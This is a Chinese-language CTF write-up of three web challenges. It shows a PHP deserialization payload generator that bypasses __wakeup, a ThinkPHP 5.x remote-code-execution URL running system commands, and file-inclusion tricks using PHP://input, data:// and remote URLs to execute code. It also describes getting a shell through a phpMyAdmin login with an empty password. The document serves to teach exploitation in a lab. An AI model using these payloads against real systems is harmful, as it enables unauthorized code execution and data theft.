天天看點

攻防世界之php_rce、Web_php_include

Web_php_unserialize

反序列化,反序列化漏洞還需再做幾個題

php魔法函數

php魔法函數

正則表達

源碼:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { //類被删除或停止調用的時候調用
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { //反序列化的時候調用
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); //進行base64解密
    if (preg_match('/[oc]:\d+:/i', $var)) { //[oc]比對o-c的字母,\d+比對多個數字,/i不區分大小寫
    這句意在比對我們傳入序列化的類
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
           

我們可以用GET方法傳入$var,進而

根據注釋分析得,拿到flag需要一下幾個條件:

1、我們需要繞過preg_match,進而能夠進入unserialize(),

2、但是進入發序列化首先是要執行__weakup,是以我們繞過__weapup,

3、進而進入__destruct()

滿足1:我們需要

攻防世界之php_rce、Web_php_include

改為

攻防世界之php_rce、Web_php_include

滿足2:當成員屬性數目大于實際數目時可繞過wakeup方法

攻防世界之php_rce、Web_php_include

滿足3: 無需操作

對上述payload進行base64加密

上傳即可

附上從别人部落格摘的代碼,忘記從哪摘得了,作者大佬看可提醒我删去,狗頭保命

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
      //  echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
    $A = new Demo('fl4g.php');
    $C = serialize($A);
    echo $C;
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $C = str_replace('O:4', 'O:+4',$C);//繞過preg_match
    $C = str_replace(':1:', ':2:',$C);//繞過wakeup
    var_dump(base64_encode($C));
    //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
           

php_rce

攻防世界之php_rce、Web_php_include

ThinkPHP 5.0.23/5.1.31 - Remote Code Execution

使用payload:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
           
攻防世界之php_rce、Web_php_include

但是,flag在哪?

find / -name “*flag”

攻防世界之php_rce、Web_php_include

本以為路徑就是/flag/flag

但是,他這個是一個路徑重複兩次

看WP才看出來

cat /flag即可

web_php_include

1、漏洞點:php strstr() 繞過,僞協定包含漏洞

這個提有很多利用方法。

方法一:

通路頁面看到如下:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>
           

strstr() 函數搜尋字元串在另一字元串中是否存在,如果是,傳回該字元串及剩餘部分,否則傳回 FALSE。就是會去除php://,是以需要繞過

因為strstr()函數對大小寫敏感,是以隻需PHP://即可繞過

再者就是檔案包含,這裡已經算是提示咱們用僞協定。看了一些資料之後。

發現

php://input,需要開啟allow_url_include。将post請求的資料當作php代碼執行。

是以,我們就運作shell了。

攻防世界之php_rce、Web_php_include
攻防世界之php_rce、Web_php_include

方法2

外部包含,我這我不是很了解,不明白hello傳進去就會被執行,回頭再分析分析

1.審計php代碼,while函數根據page參數來判斷php檔案是否存在,如果存在此檔案,則進行檔案包含。

2.預設頁面為http://127.0.0.1/index.php,設定為page值,可確定while為真

3.利用hello參數将執行内容顯示,flag如圖所示

http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?system(%22ls%22);?%3E
http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?show_source(%22fl4gisisish3r3.php%22);?%3E
           

方法3

更換僞協定 data://text/plain,這個大緻含義是可以運作GET過去的資料流。

http://111.198.29.45:53463/?page=data://text/plain,%3C?php%20system(%27ls%27);?%3E
http://111.198.29.45:53463/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20base64_encode($a);?%3E
或者highlight_file(%27fl4gisisish3r3.php%27);
           

方法4

掃描背景檔案:

攻防世界之php_rce、Web_php_include

登入phpadmin,使用者名root 密碼為空

然後執行

攻防世界之php_rce、Web_php_include

之後菜刀連結即可

參考連結:

僞協定與檔案包含

攻防世界Web_php_include

phpMyadmin提權那些事

談一談php://filter的妙用